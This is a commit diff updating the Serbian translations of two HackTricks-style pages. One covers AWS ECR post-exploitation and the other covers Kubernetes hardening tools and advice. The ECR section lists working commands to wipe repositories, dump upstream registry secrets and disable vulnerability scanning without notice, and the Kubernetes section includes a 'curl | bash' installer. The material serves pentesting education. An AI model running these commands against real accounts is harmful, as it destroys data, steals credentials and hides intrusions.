Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-12-17 10:14:30 +00:00
parent e151e9989f
commit e76d9ae581
2 changed files with 175 additions and 72 deletions
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Nakon preuzimanja images, trebalo bi da ih **proverite zbog osetljivih informacija**:
Nakon preuzimanja image-ova trebalo bi da **proverite da li sadrže osetljive informacije**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Napadač sa bilo kojom od ovih dozvola može **kreirati ili izmeniti lifecycle policy kako bi obrisao sve images u repository-ju** i potom **izbrisati ceo ECR repository**. To bi rezultiralo gubitkom svih container images smeštenih u repository-ju.
Napadač koji ima bilo koju od ovih dozvola može **kreirati ili izmeniti lifecycle policy da obriše sve images u repository-ju** i zatim **izbrisati čitav ECR repository**. To bi rezultovalo gubitkom svih container images koji su uskladišteni u repository-ju.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
### Eksfiltracija upstream registry kredencijala iz ECR PullThrough Cache (PTC)
### Eksfiltracija kredencijala upstream registrija iz ECR PullThrough Cache (PTC)
Ako je ECR PullThrough Cache konfigurisana za autentifikovane upstream registrije (Docker Hub, GHCR, ACR, itd.), upstream kredencijali se čuvaju u AWS Secrets Manager sa predvidljivim prefiksom imena: `ecr-pullthroughcache/`. Operateri ponekad dodeljuju ECR adminima širok pristup za čitanje u AWS Secrets Manageru, što omogućava eksfiltraciju kredencijala i ponovno korišćenje van AWSa.
Ako je ECR PullThrough Cache konfigurisan za autentifikovane upstream registre (Docker Hub, GHCR, ACR, itd.), kredencijali za upstream se čuvaju u AWS Secrets Manager sa predvidivim prefiksom imena: `ecr-pullthroughcache/`. Operatori ponekad daju ECR adminima širok pristup za čitanje u AWS Secrets Manager, što omogućava eksfiltraciju kredencijala i njihovo ponovno korišćenje van AWS-a.
Zahtevi
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Izlistaj kandidatne PTC tajne
Enumerišite kandidatne PTC tajne
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Dump otkrivene tajne i parsiraj uobičajena polja
Dump otkrivene secrets i parsiraj uobičajena polja
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -114,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
```
Opcionalno: proveriti leaked creds prema upstreamu (readonly login)
Opcionalno: proveriti leaked creds prema upstream (readonly login)
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Uticaj
- Čitanje ovih Secrets Manager unosa otkriva ponovo upotrebljive upstream registry credentials (username/password or token), koje se mogu zloupotrebiti izvan AWS da bi se pull private images ili pristupilo dodatnim repositories u zavisnosti od upstream permissions.
Impact
- Čitanje ovih Secrets Manager unosa daje ponovo iskoristive upstream registry credentials (username/password or token), koje se mogu zloupotrebiti van AWS-a za pull private images ili pristup dodatnim repositories u zavisnosti od upstream permissions.
### Stealth na nivou registra: onemogućite ili snizite skeniranje putem `ecr:PutRegistryScanningConfiguration`
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
Napadač sa registry-level ECR permissions može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repositories tako što će podesiti registry scanning configuration na BASIC bez bilo kakvih scan-on-push pravila. Ovo sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili maliciozne slike.
Napadač sa registry-level ECR permissions može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za ALL repositories tako što će postaviti registry scanning configuration na BASIC bez bilo kojih scan-on-push pravila. Ovo sprečava da novi image pushes budu automatski skenirani, skrivajući ranjive ili maliciozne images.
Zahtevi
Requirements
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, perrepo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Smanjenje na nivou celog registra na manuelno (bez automatskog skeniranja)
Registry-wide downgrade to manual (no auto scans)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
--scan-type BASIC \
--rules '[]'
```
Testiranje sa repo i image
Test sa repo i image
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
Opcionalno: dodatno degradiranje na nivou repozitorijuma
Opcionalno: dodatno degradirajte na nivou repozitorijuma
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Uticaj
- Novi push-ovi image-a u registru se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili malicioznog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje.
- Novi image pushes preko registra se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili malicioznog sadržaja i odlaže detekciju dok se ne pokrene manuelni scan.
### Degradacija engine-a skeniranja za ceo registar preko `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Smanjenje skenirajućeg engine-a na nivou registra preko `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Smanjite kvalitet detekcije ranjivosti u čitavom registru prebacivanjem BASIC scan engine-a sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može bitno promeniti nalaze/pokrivenost. Kombinujte sa BASIC konfiguracijom skeniranja registra bez pravila kako biste skeniranja učinili isključivo ručnim.
Smanjite kvalitet detekcije ranjivosti u celom registriju tako što ćete promeniti BASIC scan engine sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne isključuje skeniranje, ali može značajno promeniti nalaze/pokrivenost. Kombinujte sa BASIC registry scanning konfiguracijom bez pravila da skenovi budu samo manuelni.
Zahtevi
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Opcionalno) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Uticaj
- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR`, tako da naredna BASIC skeniranja koriste degradirani engine. CloudTrail beleži `PutAccountSetting` API poziv.
- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR` tako da naredni BASIC skenovi koriste degradirani engine. CloudTrail evidentira `PutAccountSetting` API poziv.
Koraci
```bash
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### Scan ECR images for ranjivosti
```bash
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# Ojačavanje Kubernetes-a
# Kubernetes Hardening
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
Obavlja više provera usklađenosti nad Kubernetes klasterom. Uključuje podršku za CIS, National Security Agency (NSA) i Cybersecurity and Infrastructure Security Agency (CISA) tehničke izveštaje za ojačavanje Kubernetes-a.
Sprovodi nekoliko provera usklađenosti nad Kubernetes klasterom. Pruža podršku za smernice CIS, kao i tehničke izveštaje National Security Agency (NSA) i Cybersecurity and Infrastructure Security Agency (CISA) koji se tiču hardening-a Kubernetes-a.
```bash
# Install Steampipe
brew install turbot/tap/powerpipe
@@ -27,82 +27,81 @@ powerpipe server
```
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) je open-source alat za K8s koji pruža multi-cloud jedinstveni pregled K8s okruženja, uključujući analizu rizika, usklađenost bezbednosti, RBAC vizualizator i skeniranje ranjivosti image-a. Kubescape skenira K8s klastere, YAML fajlove i HELM charts, detektuje pogrešne konfiguracije u skladu sa više framework-a (kao što su [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), softverske ranjivosti i RBAC (role-based-access-control) prekršaje u ranim fazama CI/CD pipeline-a, odmah izračunava ocenu rizika i prikazuje trendove rizika tokom vremena.
[**Kubescape**](https://github.com/armosec/kubescape) je open-source alat za K8s koji obezbeđuje multi-cloud K8s jedinstveni pregled (single pane of glass), uključujući analizu rizika, proveru bezbednosne usklađenosti, RBAC vizualizator i skeniranje ranjivosti image-ova. Kubescape skenira K8s klastere, YAML files, and HELM charts, otkrivajući pogrešne konfiguracije u skladu sa više framework-a (kao što su [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), softverske ranjivosti i RBAC (role-based-access-control) prekršaje u ranim fazama CI/CD pipeline-a, odmah izračunava ocenu rizika i prikazuje trendove rizika tokom vremena.
```bash
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --verbose
```
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) je utility koja skenira živi Kubernetes cluster i **izveštava o potencijalnim problemima sa raspoređenim resursima i konfiguracijama**. Sanitizuje vaš klaster na osnovu onoga što je raspoređeno, a ne onoga što se nalazi na disku. Skeniranjem klastera detektuje misconfigurations i pomaže vam da osigurate primenu best practices, čime se sprečavaju buduće glavobolje. Cilj mu je da smanji kognitivni \_over_load sa kojim se susrećete pri radu sa Kubernetes klasterom u stvarnom okruženju. Pored toga, ako vaš klaster koristi metric-server, izveštava o potencijalnim prekomernim/premalim alokacijama resursa i pokušava da vas upozori ako vaš klaster ostane bez kapaciteta.
[**Popeye**](https://github.com/derailed/popeye) je utilitet koji skenira aktivni Kubernetes klaster i **izveštava o potencijalnim problemima sa deployovanim resursima i konfiguracijama**. On sanitizuje vaš klaster na osnovu onoga što je deployovano, a ne onoga što stoji na disku. Skeniranjem klastera otkriva pogrešne konfiguracije i pomaže vam da osigurate primenu najboljih praksi, čime se sprečavaju budući problemi. Cilj mu je da smanji kognitivni \_over_load sa kojim se susrećete pri upravljanju Kubernetes klasterom u prirodnom okruženju. Nadalje, ako vaš klaster koristi metric-server, izveštava o potencijalnim over/under alokacijama resursa i pokušava da vas upozori ukoliko vaš klaster ostane bez kapaciteta.
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
Možete izabrati da:
Alat [**kube-bench**](https://github.com/aquasecurity/kube-bench) proverava da li je Kubernetes deployovan sigurno tako što izvršava provere dokumentovane u [**CIS Kubernetes Benchmark**].\
Možete odabrati da:
- pokrenete kube-bench iz kontejnera (deleći PID namespace sa host-om)
- pokrenete kontejner koji instalira kube-bench na hostu, a zatim pokrenete kube-bench direktno na hostu
- pokrenete kube-bench iz kontejnera (deljenjem PID namespace sa hostom)
- pokrenete kontejner koji instalira kube-bench na host, a zatim pokrenete kube-bench direktno na hostu
- instalirate najnovije binarne fajlove sa [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- kompajlirate ga iz izvornog koda.
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
**[DEPRECATED]** Alat [**kubeaudit**](https://github.com/Shopify/kubeaudit) je alat komandne linije i Go paket za **audit Kubernetes clusters** u vezi sa raznim bezbednosnim pitanjima.
Kubeaudit može da detektuje da li se pokreće unutar kontejnera u klasteru. Ako je tako, pokušaće da audit-uje sve Kubernetes resurse u tom klasteru:
Kubeaudit može da otkrije da li se izvršava unutar kontejnera u klasteru. Ako jeste, pokušaće da audituje sve Kubernetes resurse u tom klasteru:
```
kubeaudit all
```
Ovaj alat takođe ima argument `autofix` za **automatsko ispravljanje otkrivenih problema.**
Ovaj alat takođe ima argument `autofix` za **automatsko otklanjanje otkrivenih problema.**
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
**[DEPRECATED]** Alat [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) otkriva bezbednosne slabosti u Kubernetes klasterima. Alat je razvijen da poveća svest i vidljivost bezbednosnih problema u Kubernetes okruženjima.
**[ZASTARELO]** Alat [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) traži sigurnosne slabosti u Kubernetes klasterima. Alat je razvijen da poveća svest i vidljivost sigurnosnih problema u Kubernetes okruženjima.
```bash
kube-hunter --remote some.node.com
```
### [Trivy](https://github.com/aquasecurity/trivy)
[Trivy](https://github.com/aquasecurity/trivy) ima skenere koji traže bezbednosne probleme i ciljeve gde može da pronađe te probleme:
[Trivy](https://github.com/aquasecurity/trivy) ima skenere koji traže sigurnosne probleme i ciljeve u kojima može da ih pronađe:
- Image kontejnera
- Fajl sistem
- Git Repository (remote)
- Git repozitorijum (remote)
- Image virtuelne mašine
- Kubernetes
### [**Kubei**](https://github.com/Erezf-p/kubei)
**Izgleda da nije održavan**
**[Izgleda neodržavano]**
[**Kubei**](https://github.com/Erezf-p/kubei) je alat za skeniranje ranjivosti i CIS Docker benchmark koji omogućava korisnicima da dobiju tačnu i trenutnu procenu rizika svojih Kubernetes klastera. Kubei skenira sve image-e koji se koriste u Kubernetes klasteru, uključujući image-e aplikacionih i sistemskih pods-a.
[**Kubei**](https://github.com/Erezf-p/kubei) je alat za skeniranje ranjivosti i CIS Docker benchmark koji korisnicima omogućava tačnu i trenutnu procenu rizika njihovih Kubernetes klastera. Kubei skenira sve image-e koji se koriste u Kubernetes klasteru, uključujući image-e aplikacionih podova i sistemskih podova.
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) je alat za skeniranje Kubernetes klastera u potrazi za rizičnim dozvolama u Kubernetes-ovom Role-based access control (RBAC) modelu autorizacije.
[**KubiScan**](https://github.com/cyberark/KubiScan) je alat za skeniranje Kubernetes klastera radi pronalaženja rizičnih dozvola u Kubernetes-ovom Role-based access control (RBAC) modelu autorizacije.
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) je alat napravljen da testira druge tipove visokorizičnih provera u poređenju sa ostalim alatima. Uglavnom ima 3 različita moda:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) je alat napravljen da testira druge vrste visokorizičnih provera u poređenju sa ostalim alatima. Uglavnom ima 3 različita režima rada:
- **`find-role-relationships`**: Koji će pronaći koji AWS role se pokreću u kojim pods-ima
- **`find-secrets`**: Koji pokušava da identifikuje secrets u K8s resursima kao što su Pods, ConfigMaps i Secrets.
- **`test-imds-access`**: Koji će pokušati da pokrene podove i pokuša da pristupi metadata v1 i v2. UPOZORENJE: Ovo će pokrenuti pod u klasteru, budite veoma oprezni jer možda ne želite da ovo uradite!
- **`find-role-relationships`**: Koji će otkriti koje AWS role se izvršavaju u kojim podovima
- **`find-secrets`**: Koji pokušava da identifikuje tajne u K8s resursima kao što su Pods, ConfigMaps i Secrets.
- **`test-imds-access`**: Koji će pokušati da pokrene podove i pokuša da pristupi metadata v1 i v2. UPOZORENJE: Ovo će pokrenuti pod u klasteru budite veoma oprezni jer možda ne želite da to uradite!
## **Audit IaC Code**
## **Revizija IaC koda**
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) pronalazi **bezbednosne ranjivosti**, probleme usklađenosti i pogrešne konfiguracije infrastrukture u sledećim **Infrastructure as Code rešenjima**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM i OpenAPI 3.0 specifikacijama
[**KICS**](https://github.com/Checkmarx/kics) pronalazi **sigurnosne ranjivosti**, probleme usklađenosti i pogrešne konfiguracije infrastrukture u sledećim **Infrastructure as Code rešenjima**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, i OpenAPI 3.0 specifikacijama
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) je alat za statičku analizu koda za infrastructure-as-code.
Skenira cloud infrastrukturu provision-ovanu koristeći [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ili [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i otkriva bezbednosne probleme i probleme usklađenosti, kao i pogrešne konfiguracije koristeći skeniranje zasnovano na grafovima.
Skenira cloud infrastrukturu postavljenu korišćenjem [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ili [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i detektuje sigurnosne i usklađenosti pogrešne konfiguracije koristeći skeniranje zasnovano na grafu.
### [**Kube-score**](https://github.com/zegl/kube-score)
@@ -110,12 +109,12 @@ Skenira cloud infrastrukturu provision-ovanu koristeći [Terraform](https://terr
To install:
| Distribution | Command / Link |
| Distribucija | Komanda / Link |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Pre-built binarni paketi za macOS, Linux, i Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
| Homebrew (macOS i Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS i Linux) | `kubectl krew install score` |
## Tools to analyze YAML files & Helm Charts
@@ -163,41 +162,113 @@ helm template chart /path/to/chart \
--set 'config.urls[0]=https://dummy.backend.internal' \
| kubesec scan -
```
## Skeniranje problema sa zavisnostima
### Skeniranje slika
```bash
#!/bin/bash
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
echo "All images found: $images"
echo ""
echo ""
for image in $images; do
# Run trivy scan and save JSON output
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
# Extract binary targets that have vulnerabilities
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
if [ -n "$binaries" ]; then
echo "- **Image:** $image"
while IFS= read -r binary; do
echo " - **Binary:** $binary"
jq -r --arg target "$binary" '
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
' /tmp/result.json
done <<< "$binaries"
echo ""
echo ""
echo ""
fi
done
```
### Skeniraj Helm charts
```bash
#!/bin/bash
# scan-helm-charts.sh
# This script lists all Helm releases, renders their manifests,
# and then scans each manifest with Trivy for configuration issues.
# Check that jq is installed
if ! command -v jq &>/dev/null; then
echo "jq is required but not installed. Please install jq and rerun."
exit 1
fi
# List all helm releases and extract namespace and release name
echo "Listing Helm releases..."
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
# Check if any releases were found
if [ ! -s helm_releases.txt ]; then
echo "No Helm releases found."
exit 0
fi
# Loop through each Helm release and scan its rendered manifest
while IFS=" " read -r namespace release; do
echo "---------------------------------------------"
echo "Scanning Helm release '$release' in namespace '$namespace'..."
# Render the Helm chart manifest
manifest_file="${release}-manifest.yaml"
helm get manifest "$release" -n "$namespace" > "$manifest_file"
if [ $? -ne 0 ]; then
echo "Failed to get manifest for $release in $namespace. Skipping."
continue
fi
# Scan the manifest with Trivy (configuration scan)
echo "Running Trivy config scan on $manifest_file..."
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
echo "Completed scan for $release."
done < helm_releases.txt
echo "---------------------------------------------"
echo "Helm chart scanning complete."
```
## Saveti
### Kubernetes PodSecurityContext i SecurityContext
Možete konfigurisati **bezbednosni kontekst Pod-ova** (sa _PodSecurityContext_) i **kontejnere** koji će biti pokrenuti (sa _SecurityContext_). Za više informacija pročitajte:
Možete konfigurisati **bezbednosni kontekst Pod-ova** (sa _PodSecurityContext_) i **kontekst kontejnera** koji će se pokretati (sa _SecurityContext_). Za više informacija pročitajte:
{{#ref}}
kubernetes-securitycontext-s.md
{{#endref}}
### Ojačavanje bezbednosti Kubernetes API-ja
### Kubernetes API Hardening
Veoma je važno **zaštititi pristup Kubernetes Api Server-u** jer zlonameran akter sa dovoljno privilegija može zloupotrebiti server i na mnogo načina oštetiti okruženje.\
Važno je obezbediti i **pristup** (**whitelist** origin-a koji smeju da pristupe API Server-u i odbiti sve ostale konekcije) i [**autentifikaciju**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (prateći princip **najmanjih** **privilegija**). I definitivno **nikada** **ne dozvolite** **anonimne** **zahteve**.
Veoma je važno da **zaštitite pristup Kubernetes Api Server-u** jer zlonameran akter sa dovoljnim privilegijama može da ga zloupotrebi i na mnogo načina naškodi okruženju.\
Važno je osigurati i **pristup** (**whitelist** origin-e za pristup API Server-u i odbiti sve druge konekcije) i [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (prateći princip **najmanjih privilegija**). I definitivno **nikada** **ne** **dozvoljavajte** **anonimne** **zahteve**.
**Uobičajeni proces zahteva:**\
Korisnik ili K8s ServiceAccount > Autentifikacija > Autorizacija > Admission Control.
**Uobičajen proces zahteva:**\
Korisnik ili K8s ServiceAccount > Authentication > Authorization > Admission Control.
**Saveti**:
- Zatvorite portove.
- Izbegavajte anonimni pristup.
- NodeRestriction; Nema pristupa API-ju sa određenih nodova.
- NodeRestriction; zabrani pristup API-ju sa određenih nodes.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- U suštini sprečava kubelets da dodaju/uklanjaju/azuriraju label-e sa prefiksom node-restriction.kubernetes.io/. Ovaj prefiks label-e je rezervisan za administratore da označavaju Node objekte za potrebe izolacije workload-a, i kubelet-ima neće biti dozvoljeno da menjaju label-e sa tim prefiksom.
- I takođe, dozvoljava kubelet-ima da dodaju/uklanjaju/azuriraju ove label-e i prefikse label-a.
- Obezbedite pomoću label-a sigurnu izolaciju workload-a.
- Sprečite da specifični pod-ovi pristupaju API-ju.
- U suštini sprečava kubelets da dodaju/uklanjaju/izmenjuju labele sa prefiksom node-restriction.kubernetes.io/. Taj prefiks je rezervisan za administratore da označe svoje Node objekte za potrebe izolacije workload-a, i kubelets neće imati dozvolu da menjaju labele sa tim prefiksom.
- I takođe, dozvoljava kubelets-ima da dodaju/uklanjaju/izmenjuju ove labele i prefikse labela.
- Obezbedite sigurnu izolaciju workload-a pomoću labela.
- Sprečite određenim pods pristup API-ju.
- Izbegavajte izlaganje ApiServer-a internetu.
- Sprečite neautorizovan pristup koristeći RBAC.
- Konfigurišite firewall i IP whitelistu za ApiServer port.
- Sprečite neautorizovan pristup; koristite RBAC.
- Za ApiServer port koristite firewall i IP whitelisting.
### Ojačavanje SecurityContext-a
### SecurityContext Hardening
Po defaultu će se koristiti root korisnik kada se pokrene Pod ako nije naveden drugi korisnik. Aplikaciju možete pokrenuti u sigurnijem kontekstu koristeći šablon sličan sledećem:
Po defaultu će se koristiti root korisnik kada se Pod pokrene ako nije naveden drugi korisnik. Možete pokretati vašu aplikaciju u bezbednijem kontekstu koristeći šablon sličan sledećem:
```yaml
apiVersion: v1
kind: Pod
@@ -226,30 +297,30 @@ allowPrivilegeEscalation: true
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### Opšte ojačavanje bezbednosti
### Opšte jačanje bezbednosti
Treba redovno ažurirati vaše Kubernetes okruženje onoliko često koliko je potrebno da imate:
Treba da ažurirate vaše Kubernetes okruženje koliko često je potrebno da biste imali:
- Ažurne zavisnosti.
- Zavisnosti ažurne.
- Ispravke grešaka i bezbednosne zakrpe.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Svaka 3 meseca izlazi novo minor izdanje -- 1.20.3 = 1(Major).20(Minor).3(patch)
**Najbolji način za ažuriranje Kubernetes klastera je (iz** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
**Najbolji način da ažurirate Kubernetes Cluster je (iz** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Ažurirajte Master Node komponente prateći sledeći redosled:
- Ažurirajte komponente Master Node-a po sledećem redosledu:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, if you use one.
- Ažurirajte Worker Node komponente kao što su kube-proxy, kubelet.
- Ažurirajte komponente Worker Node-a kao što su kube-proxy, kubelet.
## Kubernetes monitoring & security:
## Kubernetes nadzor i bezbednost:
- Kyverno Policy Engine
- Cilium Tetragon - eBPF-based posmatranje bezbednosti i runtime sprovođenje
- Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
- Network Security Policies
- Falco - Runtime monitoring bezbednosti & detekcija
- Falco - Runtime security monitoring & detection
{{#include ../../../banners/hacktricks-training.md}}